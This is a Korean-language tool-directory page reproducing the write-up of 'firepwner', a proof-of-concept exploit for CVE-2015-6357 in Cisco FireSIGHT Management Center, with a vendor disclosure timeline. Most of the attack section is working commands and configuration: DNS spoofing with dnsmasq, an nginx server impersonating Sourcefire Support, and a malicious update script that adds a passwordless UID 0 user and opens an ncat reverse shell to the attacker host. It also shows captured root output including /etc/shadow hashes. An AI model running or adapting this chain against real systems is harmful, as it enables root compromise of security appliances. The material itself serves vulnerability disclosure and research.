Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
firepwner — CVE-2015-6357 Cisco FireSIGHT Management Center 인증서 검증 취약점 익스플로잇 | Kitploit
도구/GitHubGitHub/mattimustang/firepwner
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlDNS Analysis
GitHubmattimustang/firepwner

firepwner

CVE-2015-6357 Cisco FireSIGHT Management Center 인증서 검증 취약점 익스플로잇

저장소 보기
6510년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2015-6357: FirePWNER Exploit — Cisco FireSIGHT Management Center SSL 인증 검증 취약점

소개

Cisco FireSIGHT Management Center 인증서 검증 취약점은 자체적으로 중간 심각도로 CVSS 5.1의 취약점입니다.
하지만 이 취약점은 SSL 인증서 검증이 왜 그렇게 중요한지를 보여주는 예입니다. 이 익스플로잇에서는 이 취약점을 활용하여 Cisco FireSIGHT 시스템에서 권한 있는 원격 명령 실행을 얻는 방법을 시연합니다. 이 익스플로잇은 SSL 검증 취약점과 Cisco FireSIGHT 시스템의 소프트웨어 업데이트 프로세스를 연쇄적으로 이용하여 대상 시스템이 악성 업데이트를 다운로드하고 실행하도록 속여 루트 권한으로 리버스 셸을 얻습니다.

이래서 SSL 인증서를 항상 검증해야 합니다

취약점

Cisco FireSIGHT Management Center 어플라이언스는 Cisco FirePOWER 침입 방지 시스템(IPS, 일명 Sourcefire IPS)을 관리하는 데 사용됩니다. FireSIGHT는 업데이트된 IPS 서명을 다운로드하여 관리되는 IPS 장치에 설치하는 역할을 합니다.

FireSIGHT Management Center는 관리자가 IPS 규칙 업데이트를 수동으로 시작하거나 매일/매주/매월 업데이트되도록 예약할 수 있습니다.

FireSIGHT Management Center가 업데이트를 수행할 때 UNIX 명령어인 curl을 사용하여 Sourcefire Support에서 다운로드를 수행합니다. curl 명령어를 호출할 때 -k (일명 --insecure) 옵션이 전달되어 curl이 서버가 제시하는 SSL 인증서를 검증하지 않도록 합니다.

다음은 업데이트를 다운로드하는 서버의 ps 출력입니다:

root@kitploit:~
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root      8351  0.0  0.0  37396  2708 ?        S    02:02   0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh

FireSIGHT 업데이트는 makeself로 생성된 셸 스크립트 형태로 제공되며, 여기에는 UNIX Bourne 셸 명령어와 업데이트에 포함될 바이너리 데이터가 모두 포함됩니다. 이 업데이트 셸 스크립트는 FireSIGHT 서버에서 로컬 www 사용자로 직접 실행됩니다.

FireSIGHT 서버에 대해 중간자 공격을 수행할 수 있는 공격자는 위조된 Sourcefire Support 웹 사이트에 연결하도록 강제하고, FireSIGHT 서버에서 공격자가 원하는 모든 명령어를 실행할 악성 업데이트 스크립트를 다운로드하도록 할 수 있습니다.

SSL 검증 취약점으로 인해 시스템이 공격자의 위조된 SSL 인증서를 아무 문제없이 수락하고 악성 업데이트를 다운로드하여 실행하게 됩니다.

만약 curl 명령어가 SSL 인증서를 검증했다면 악성 스크립트를 다운로드하는 데 실패하여 FireSIGHT 서버를 공격자로부터 보호했을 것입니다.

이 익스플로잇은 SSL 인증서를 검증하지 않는 위험성을 보여주기 위해 취약점을 이용하여 루트 사용자로 원격 명령 실행을 얻습니다.

공격 시나리오

공격 시나리오는 공격자가 FireSIGHT 서버에서 https://support.sourcefire.com 웹 사이트로 가는 트래픽을 중간자 조작할 수 있는 능력을 얻은 경우입니다. 이를 가장 간단히 시연하는 방법은 "손상된" DNS 서버를 설정하여 support.sourcefire.com 도메인에 대한 쿼리에 공격자가 제어하는 웹 서버의 IP 주소로 응답하도록 하는 것입니다.

실제 공격 시나리오에서 공격자는 동일한 목적을 위해 다양한 중간자 기술을 사용할 수 있습니다. 예를 들면:

  • DNS 캐시 포이즈닝
  • ARP 스푸핑 (예: ettercap)

이 익스플로잇은 다음 FireSIGHT 가상 어플라이언스 버전에서 테스트되었습니다:

  • 5.2.0
  • 5.3.0
  • 5.4.0
  • 5.4.1.1
  • 5.4.1.2

아래 PoC에서 FireSIGHT 서버에는 IP 주소 192.168.1.99가 할당되었습니다.

공격 호스트는 Kali Linux 2.0을 실행 중이었으며, 아래 설정은 Debian Linux 기반 서버에서도 작동해야 합니다. 아래 예시에서 Kali 호스트의 IP 주소는 192.168.1.1입니다. Kali 호스트는 DNS 서버와 위조된 Sourcefire Support 웹 사이트를 모두 실행하는 데 사용됩니다.

dnsmasq 설정

익스플로잇은 support.sourcefire.com에 대한 DNS 응답을 스푸핑할 수 있어야 합니다. 이 기능을 제공하고 "손상된" DNS 서버 역할을 하기 위해 dnsmasq 서버를 실행합니다.

dnsmasq 설치:

root@kitploit:~
root@kali# apt-get install dnsmasq

dnsmasq 구성:

root@kitploit:~
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF

address 줄의 IP 주소를 업데이트를 서비스할 웹 서버의 주소로 편집하세요.

dnsmasq 시작:

root@kitploit:~
root@kali# service dnsmasq start

nginx 설정

FireSIGHT 서버가 업데이트를 요청할 때 익스플로잇을 제공하기 위해 웹 서버가 필요합니다.

nginx 웹 서버 설치:

root@kitploit:~
root@kali# apt-get install nginx

support.sourcefire.com을 가장하기 위한 자체 서명 인증서 생성:

root@kitploit:~
root@kali# mkdir /etc/nginx/ssl

root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
 -out /etc/nginx/ssl/nginx.crt

Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:

/etc/nginx/sites-available/default의 내용을 다음으로 교체하여 nginx 구성:

root@kitploit:~
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    listen 443 ssl;

    root /var/www/html;

    index index.html index.htm index.nginx-debian.html;

    server_name support.sourcefire.com;
    ssl_certificate /etc/nginx/ssl/nginx.crt;
    ssl_certificate_key /etc/nginx/ssl/nginx.key;

    location / {
        try_files $uri $uri/ =404;
    }

    # 클라이언트 라이선스 키를 포함하는 요청 재작성
    location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
        rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
    }

    location /auto-update {
        root /var/www/html/firepwner;
    }

}

nginx 시작:

root@kitploit:~
root@kali# service nginx start

익스플로잇 설정

FirePWNER 익스플로잇을 위해서는 웹 서버에서 제공할 두 개의 파일이 필요합니다. 첫 번째 파일은 업데이트 매니페스트로, 사용 가능한 업데이트 목록, 다운로드 위치 및 MD5 해시가 포함된 XML 파일입니다.

먼저 몇 가지 디렉토리를 생성해야 합니다:

root@kitploit:~
root@kali# mkdir \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}

그런 다음 익스플로잇 파일을 해당 디렉토리로 복사합니다:

root@kitploit:~
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh

이 파일들을 복사한 후 http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml로 접속할 수 있어야 합니다.

FireSIGHT 서버 DNS 구성

다음으로, 익스플로잇 시연을 위해 FireSIGHT 서버가 "손상된" DNS 서버를 사용하도록 구성해야 합니다. FireSIGHT 웹 포털에 로그인하여 System > Local > Configure > Management Interfaces로 이동한 후 기본 DNS 서버를 "손상된" DNS 서버의 IP 주소(192.168.1.1)로 설정하고 변경 사항을 저장합니다.

익스플로잇 실행

익스플로잇은 FireSIGHT 서버에 기본 설치된 ncat 명령어를 사용하여 Kali 호스트로 리버스 셸을 생성합니다. Kali 호스트에서는 FireSIGHT 서버의 리버스 셸 연결을 수신 대기해야 합니다:

root@kitploit:~
root@kali# ncat -v -l 4444

그런 다음 FireSIGHT 웹 포털에서 System > Updates > Rule Updates로 이동하여 Download new rule update from the Support Site를 선택하고 Import 버튼을 클릭합니다. 서버는 공격자 서버에서 sf.xml 업데이트 매니페스트를 다운로드하고, 사용 가능한 업데이트가 있음을 확인한 후 www 사용자로 업데이트를 다운로드하여 실행합니다. 아래 업데이트/익스플로잇 스크립트는 www 사용자가 useradd를 포함한 여러 sudo 명령어를 실행할 수 있다는 점을 이용합니다. 익스플로잇은 비밀번호가 없는 새로운 toor 사용자를 생성한 후 su를 사용하여 권한을 상승시키고 공격자 서버로 리버스 셸 연결을 시작합니다.

root@kitploit:~
#!/bin/sh
# 빈 비밀번호로 UID 0 "toor" 사용자 추가
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
 -d /root toor
# su로 toor로 전환하고 리버스 셸 시작
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0

익스플로잇 스크립트는 원하는 다른 명령어를 실행하도록 변경될 수 있습니다. 스크립트를 변경한 경우 sf.xml의 <md5sum> XML 태그 값을 익스플로잇 스크립트의 새로운 MD5 해시로 업데이트해야 합니다.

다음은 익스플로잇이 성공하여 FireSIGHT 서버에 원격 셸이 열리고 id 및 cat /etc/passwd 명령어가 실행되었을 때 Kali 호스트에서 볼 수 있는 출력의 예입니다:

root@kitploit:~
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::

익스플로잇 획득

이 익스플로잇에 사용된 파일은 github에서 얻을 수 있습니다.

공개 타임라인

  • 2015-08-31 Matthew Flanagan이 FireSIGHT 5.4.x에서 취약점을 발견하고 익스플로잇을 개발.
  • 2015-09-01 Cisco PSIRT([email protected])에 최초 연락.
  • 2015-09-01 PSIRT가 추가 정보 요청.
  • 2015-09-01 Matthew Flanagan이 PSIRT에 취약점에 대한 전체 분석 및 익스플로잇 제공.
  • 2015-09-02 PSIRT가 FireSIGHT 결함 및 인시던트 PSIRT-190974966을 생성.
  • 2015-09-15 Matthew Flanagan이 Cisco PSIRT에 버전 5.2.0 및 5.3.0도 취약하다고 보고.
  • 2015-10-16 PSIRT가 할당된 CVSS 점수를 알려줌.
  • 2015-11-09 PSIRT가 CVE ID CVE-2015-6357을 할당.
  • 2015-11-16 Cisco FireSIGHT Management Center 인증서 검증 취약점 게시.
  • 2015-11-16 Matthew Flanagan의 연구 결과 게시.
도구 다운로드